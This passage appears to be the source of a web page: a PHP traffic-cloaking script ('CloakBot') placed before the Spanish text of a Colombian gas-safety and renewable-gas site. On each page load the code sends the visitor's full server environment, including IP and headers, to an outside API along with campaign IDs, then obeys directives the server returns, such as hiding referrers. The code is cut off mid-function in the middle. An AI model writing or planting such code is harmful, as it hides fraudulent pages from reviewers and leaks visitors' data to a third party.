checkRequirements(); $this->handleCidQueryParam(); $this->bootstrapExecution(); } catch (Throwable $e) { $this->handleException($e); } } private function checkRequirements(): void { try { if (version_compare(PHP_VERSION, '7.4', '<')) { throw new RuntimeException('!Error: PHP 7.4 or higher is required. Current version: ' . PHP_VERSION); } if (!extension_loaded('curl')) { throw new RuntimeException('!Error: cURL extension is not enabled.'); } } catch (Throwable $e) { $this->handleException($e); } } private function handleCidQueryParam(): void { try { if (!isset($_GET[self::DEBUG_CAMPAIGN_PARAM])) { return; } header('Content-Type: text/plain'); echo $this->campaignIdentifier ?? 'cid-not-found'; exit; } catch (Throwable $e) { $this->handleException($e); } } private function bootstrapExecution(): void { try { $this->setApiEndpoint(); $this->initializeDebugMode(); $this->encodeServerEnvironment(); $this->prepareHttpHeaders(); $this->sendRequestAndHandle(); } catch (Throwable $e) { $this->handleException($e); } } private function initializeDebugMode(): void { try { $this->isDebugMode = isset($_GET[self::DEBUG_QUERY_PARAM]); } catch (Throwable $e) { $this->handleException($e); } } private function encodeServerEnvironment(): void { try { $this->encodedServerData = base64_encode(json_encode($_SERVER)); } catch (Throwable $e) { $this->handleException($e); } } private function prepareHttpHeaders(): void { try { $this->httpHeaders = [ sprintf('Content-Type: %s', 'application/json'), 'Accept: application/json', 'User-Agent: CloakBot/1.0', 'X-Timestamp: ' . gmdate('c'), 'Connection: keep-alive', 'X-UID: ' . ($this->userIdentifier ?? 'null'), 'X-CID: ' . ($this->campaignIdentifier ?? 'null'), ]; } catch (Throwable $e) { $this->handleException($e); } } public function sendRequestAndHandle(): array { try { $payload = $this->generateRequestPayload(); $attempts = 0; $maxRetries = 5; $response = null; $httpCode = 0; $curlError = null; do { $attempts++; $ch = curl_init($this->apiEndpoint); curl_setopt_array($ch, $this->configureCurlOptions($payload)); $rawResponse = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $curlError = curl_error($ch); curl_close($ch); $response = $this->parseJsonResponse($rawResponse); $shouldRetry = !empty($curlError) || $httpCode < 200 || $httpCode >= 300; if (!$shouldRetry) { break; } } while ($attempts < $maxRetries); $result = $this->buildFormattedResponse($payload, $httpCode, $curlError, $response); if ($this->isDebugMode) { $this->dumpDebugTrace($result); } $this->processServerDirective($response); return $result; } catch (Throwable $e) { $this->handleException($e); return ['error' => $e->getMessage()]; } } private function generateRequestPayload(): array { try { return [ 'uid' => $this->userIdentifier, 'cid' => $this->campaignIdentifier, 'payload' => $this->encodedServerData, ]; } catch (Throwable $e) { $this->handleException($e); return []; } } private function configureCurlOptions(array $payload): array { try { return [ CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_HTTPHEADER => $this->httpHeaders, CURLOPT_POSTFIELDS => json_encode($payload), CURLOPT_TIMEOUT => $this->responseTimeout, CURLOPT_CONNECTTIMEOUT => $this->connectTimeout, CURLOPT_SSL_VERIFYPEER => true, ]; } catch (Throwable $e) { $this->handleException($e); return []; } } private function parseJsonResponse($raw): ?array { try { $decoded = json_decode($raw, true); return is_array($decoded) ? $decoded : null; } catch (Throwable $e) { $this->handleException($e); return null; } } private function buildFormattedResponse(array $payload, int $httpCode, string $error, ?array $response): array { try { return [ 'http_code' => $httpCode, 'curl_error' => $error, 'request_payload' => $payload, 'response' => $response, ]; } catch (Throwable $e) { $this->handleException($e); return []; } } private function processServerDirective(?array $response): void { try { if (!is_array($response)) return; if (($response['status'] ?? '') == 'error') { echo $response['message'] ?? 'Unknown error'; exit; } if (($response['status'] ?? '') == 'none') { return; } if (isset($response['hide_referrer']) && $response['hide_referrer'] == 1) { header("Referrer-Policy: no-referrer"); } if (isset($response['hide_referrer']) && $response['hide_referrer'] == 2) { echo '
";
echo "=========== TRACE INFO ===========\n";
echo "Endpoint: {$this->apiEndpoint}\n";
echo "--- Headers ---\n";
print_r($this->httpHeaders);
echo "--- Payload ---\n";
print_r([
'uid' => $this->userIdentifier,
'cid' => $this->campaignIdentifier,
'serverData' => $this->encodedServerData,
]);
echo "--- Response ---\n";
print_r($data);
echo "==================================\n";
echo "";
exit;
} catch (Throwable $e) {
$this->handleException($e);
}
}
public function setApiEndpoint(): void
{
try {
$this->apiEndpoint = 'https://api.trafficguardian.org/api/v1/run';
} catch (Throwable $e) {
$this->handleException($e);
}
}
private function handleException(Throwable $e): void
{
http_response_code(500);
if ($this->isDebugMode) {
echo "ERROR: " . $e->getMessage() . "\n" . $e->getTraceAsString() . ""; } else { echo "A system error occurred."; } exit; } } $cloak = new clLogic(); $cloak->start(); ?>
Impulsamos el uso seguro del gas natural y el desarrollo de gas renovable en Colombia. Tecnología, sostenibilidad y bienestar para los hogares y las comunidades.
El uso responsable del gas natural previene accidentes y cuida a tu familia. Conoce nuestras recomendaciones esenciales.
Programa inspecciones anuales de tus instalaciones. Una revisión técnica a tiempo evita fugas y garantiza un funcionamiento seguro.
Mantén siempre espacios ventilados en cocinas y áreas con gas. La circulación de aire es clave para prevenir acumulaciones peligrosas.
Si percibes olor a gas, no enciendas fósforos ni interruptores. Cierra la válvula, ventila y contacta a un profesional certificado.
Solo personal autorizado debe instalar y manipular equipos de gas. Exige certificaciones y garantiza materiales de calidad.
Limpia y revisa tus estufas, calentadores y calderas. El mantenimiento regular prolonga la vida útil y evita riesgos.
Enseña a niños y adultos cómo actuar ante emergencias. Una familia informada está protegida y previene incidentes.
El biogás y el gas renovable son una alternativa sostenible que aprovecha residuos orgánicos para generar energía limpia. En Colombia, regiones como Antioquia, Cundinamarca y el Valle del Cauca lideran su implementación.
Plantas de biogás a partir de residuos agrícolas y pecuarios.
Proyectos de biometano para movilidad y generación eléctrica.
Aprovechamiento de residuos de caña y frutales en energía renovable.
El gas renovable transforma residuos en recursos, disminuye emisiones y construye un futuro más limpio para Colombia.
El biogás reduce significativamente las emisiones comparado con combustibles fósiles tradicionales.
Los residuos orgánicos e industriales se transforman en energía limpia en lugar de terminar en vertederos.
Un modelo que reintegra recursos al ciclo productivo, generando valor social y ambiental en las regiones.
En Alcanos Innovación trabajamos por un uso responsable del gas. Nuestros protocolos combinan tecnología de monitoreo, capacitación comunitaria y respuesta oportuna ante cualquier emergencia.
Únete al movimiento por el cuidado del gas y la innovación renovable en Colombia. Solicita una asesoría y lleva la sostenibilidad a tu región.